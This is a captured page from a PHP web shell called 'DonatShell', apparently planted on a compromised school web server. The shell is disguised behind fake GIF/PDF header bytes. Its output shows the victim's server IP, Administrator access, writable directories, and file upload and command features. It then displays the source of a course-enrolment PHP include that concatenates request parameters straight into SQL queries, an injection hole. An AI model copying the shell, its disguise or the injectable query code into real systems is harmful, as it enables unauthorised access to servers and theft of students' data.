GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/Course/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/Course/studentInClass.phpinc
<?
// Course/studentInClass.phpinc
// Verifies that the student is in the class by f_courseId and userStudentId or $_SESSION['userStudentId'].
// If userStudentId is null, $_SESSION['userStudentId'] is used.
// Returns classId, f_classSection, f_ClassInstructor, f_YRTR, userStudentId.
#printVar('$f_courseId',$f_courseId);
if (false && dc()) { $DEBUG_studentInClass = true; } else { $DEBUG_studentInClass = false; }
if ( isset($_SESSION['userId']) && $_SESSION['userId'] == -1 ) { 
  $DEBUG_studentInClass = true;
}
if ( !isset($__includeInstructor) ) $__includeInstructor = true; // Set to false to exclude the Instructor.
// Preset variables.
$classId = 0; // The classId found.
$studentInClass = 0;
$f_classSection = 0; // The classSection found.
$f_YRTR = '';   // The YRTR of the class found.
$uId = formValue('uId');
$sId = formValue('sId');
if ( $uId ) $f_userId = $uId;
if ( !isset($f_userId) ) {
	if ( isset($_SESSION['userId']) && $_SESSION['userId'] ) {
		$f_userId = $_SESSION['userId'];
	} else {
		$f_userId = 0;
	}
} else {
	if ( $f_userId == '' ) $f_userId = 0;
}
// Check if this is the class Instructor.
$query = "
		SELECT courseId
			FROM course";
if ( strpos($f_courseId,',') !== false ) {
	$query .= "
		 WHERE courseId IN ( ".$f_courseId." )";
} else {
	$query .= "
		 WHERE courseId = ".$f_courseId;
}
$query .= "
			 AND course.userId = ".$f_userId."
";
$__classInstructorResult = query_do($query);
$__classInstructorResultCount = $_SESSION['qry']['count'];
$__inClassVia = '';
if ( $__classInstructorResultCount ) $__inClassVia = 'Class Instructor ';
if ( $DEBUG_studentInClass ) {
	printVar('$query',$query,'q/');
	printVar('$__classInstructorResultCount',$__classInstructorResultCount,'f');
	printVar('$__classInstructorResult',$__classInstructorResult,'f');
}
if ( !$__classInstructorResultCount ) {
	$query = "
		SELECT userId
			FROM useruserpermission
			JOIN userpermission ON userpermission.userpermissionId = useruserpermission.userpermissionId
		 WHERE useruserpermission.userId = ".$f_userId."
			 AND ( userpermissionName = 'ADMIN' OR userpermissionName = 'INSTRUCTOR' OR userpermissionName = 'TUTOR' )
	";
	#d_Var('__classInstructorResult',$query,'d');
	$__classInstructorResult = query_do($query);
	$__classInstructorResultCount = $_SESSION['qry']['count'];
	if ( $__classInstructorResultCount ) $__inClassVia = 'Permissions ';
	if ( $DEBUG_studentInClass ) {
		printVar('$query',$query,'q/');
		printVar('$__classInstructorResultCount',$__classInstructorResultCount,'f');
		printVar('$__classInstructorResult',$__classInstructorResult,'f');
	}
}
if ( $__classInstructorResultCount ) {
	$f_ClassInstructor = true;
} else {
	$f_ClassInstructor = false;
}
if ( $DEBUG_studentInClass ) {
	printVar('$__inClassVia',$__inClassVia,'f');
	printVar('$f_ClassInstructor',$f_ClassInstructor,'f');
}
#printVar('$f_ClassInstructor',$f_ClassInstructor);
// Get the classId and f_classSection.
if ( $DEBUG_studentInClass ) {
	printVar('$f_courseId',$f_courseId,'/');
}
if ( isset($f_courseId) && $f_courseId ) {
	// Get a classId for the $_SESSION['YRTR']['CURRENT'].
	if ( !isset($userStudentId) || $userStudentId == '' ) {
		if ( $sId ) {
			$userStudentId = $sId;
			if ($DEBUG_studentInClass) printLine('$userStudentId = $sId; = '.$userStudentId);
		} elseif ( isset($_SESSION['userStudentId']) ) { 
			$userStudentId = $_SESSION['userStudentId'];
			if ($DEBUG_studentInClass) printLine('$userStudentId = $_SESSION[\'userStudentId\']; = '.$userStudentId);
		} else {
			$userStudentId = -1;
			if ($DEBUG_studentInClass) printLine('$userStudentId = -1;');
		}
	}
	$f_YRTR = $_SESSION['YRTR']['User'];
	$query = "
			SELECT classId, classSection
				FROM class";
	if ( strpos($f_courseId,',') !== false ) {
		$query .= "
			 WHERE courseId IN ( ".$f_courseId." )";
	} else {
		$query .= "
			 WHERE courseId = ".$f_courseId;
	}
	$query .= "
				 AND YRTR = '".$f_YRTR."'
				 AND classId IN (
						SELECT classId
							FROM classstudent
						 WHERE userStudentId = '".$userStudentId."'
				 )
	";
	if ($DEBUG_studentInClass) printVar('$query',$query,'q');
	$__studentInClassResult = query_do($query);
	$__studentInClassResultCount = $_SESSION['qry']['count'];
	if ($DEBUG_studentInClass) printVar('$__studentInClassResultCount',$__studentInClassResultCount);
	/* * / // Remove the space in the comment to check the previous YRTR.
	if (!$__studentInClassResultCount) {
		// Did not get a classId for the $_SESSION['YRTR']['CURRENT'] so check for the $_SESSION['YRTR']['PREVIOUS'].
		$f_YRTR = $_SESSION['YRTR']['PREVIOUS'];
		$query = "
				SELECT classId, classSection
					FROM class
				 WHERE courseId = ".$f_courseId."
					 AND YRTR = '".$f_YRTR."'
					 AND classId IN (
							SELECT classId
								FROM classstudent
							 WHERE userStudentId = '".$userStudentId."'
					 )
		";
		#printVar('$query',$query,'q');
		$__studentInClassResult = query_do($query);
		$__studentInClassResultCount = $_SESSION['qry']['count'];
		#printVar('$__studentInClassResultCount',$__studentInClassResultCount);
		if ($__studentInClassResultCount) {
			$f_YRTR = $_SESSION['YRTR']['PREVIOUS'];
		}
	}
	/* */
	#printVar('$__studentInClassResultCount',$__studentInClassResultCount);
	#printVar('$__studentInClassResult',$__studentInClassResult);
	#printVar('$classId',$classId);
	if ( $__studentInClassResultCount ) {
		// Set the classId.
		mysqli_data_seek($__studentInClassResult, 0);
		$__studentInClassRow = mysqli_fetch_assoc($__studentInClassResult);
		$classId = $__studentInClassRow['classId'];
		$studentInClass = $classId;
		$f_classSection = $__studentInClassRow['classSection'];
	} else {
		if ( $__includeInstructor && $f_ClassInstructor ) {
			// Check if this is the class instructor.
			if ($DEBUG_studentInClass) printLine("Check if this is the class instructor.");
			$query = "
					SELECT classId, classSection
						FROM class";
			if ( strpos($f_courseId,',') !== false ) {
				$query .= "
					 WHERE courseId IN ( ".$f_courseId." )";
			} else {
				$query .= "
					 WHERE courseId = ".$f_courseId;
			}
			$query .= "
						 AND YRTR = '".$f_YRTR."'
				ORDER BY classSection
			";
			$__studentInClassResult = query_do($query);
			$__studentInClassResultCount = $_SESSION['qry']['count'];
			#$__studentInClassResultCount = 0;
			if ($DEBUG_studentInClass) {
				printVar('$query',$query,'/q');
				printVar('$__studentInClassResultCount',$__studentInClassResultCount,'f');
				printVar('$__studentInClassResult',$__studentInClassResult,'f');
			}
		}
		if ($__studentInClassResultCount) {
			// Set the classId and f_classSection to the first classSection.
			mysqli_data_seek($__studentInClassResult, 0);
			$__studentInClassRow = mysqli_fetch_assoc($__studentInClassResult);
			$classId = $__studentInClassRow['classId'];
			$f_classSection = $__studentInClassRow['classSection'];
		}
	}
}
if ( !isset($f_classId) || !$f_classId ) $f_classId = $classId;
if ($DEBUG_studentInClass) {
	printVar('$classId',$classId,'f');
	printVar('$f_classSection',$f_classSection,'f');
	printVar('$f_YRTR',$f_YRTR,'f');
	printVar('$f_ClassInstructor',$f_ClassInstructor,'f');
}
#d_Var('$studentInClass',$studentInClass,'d');
unset($__classInstructorResult);
unset($__classInstructorResultCount);
unset($__includeInstructor);
unset($__studentInClassResult);
unset($__studentInClassResultCount);
unset($__studentInClassRow);
?>

Anon7 - 2022
AnonSec Team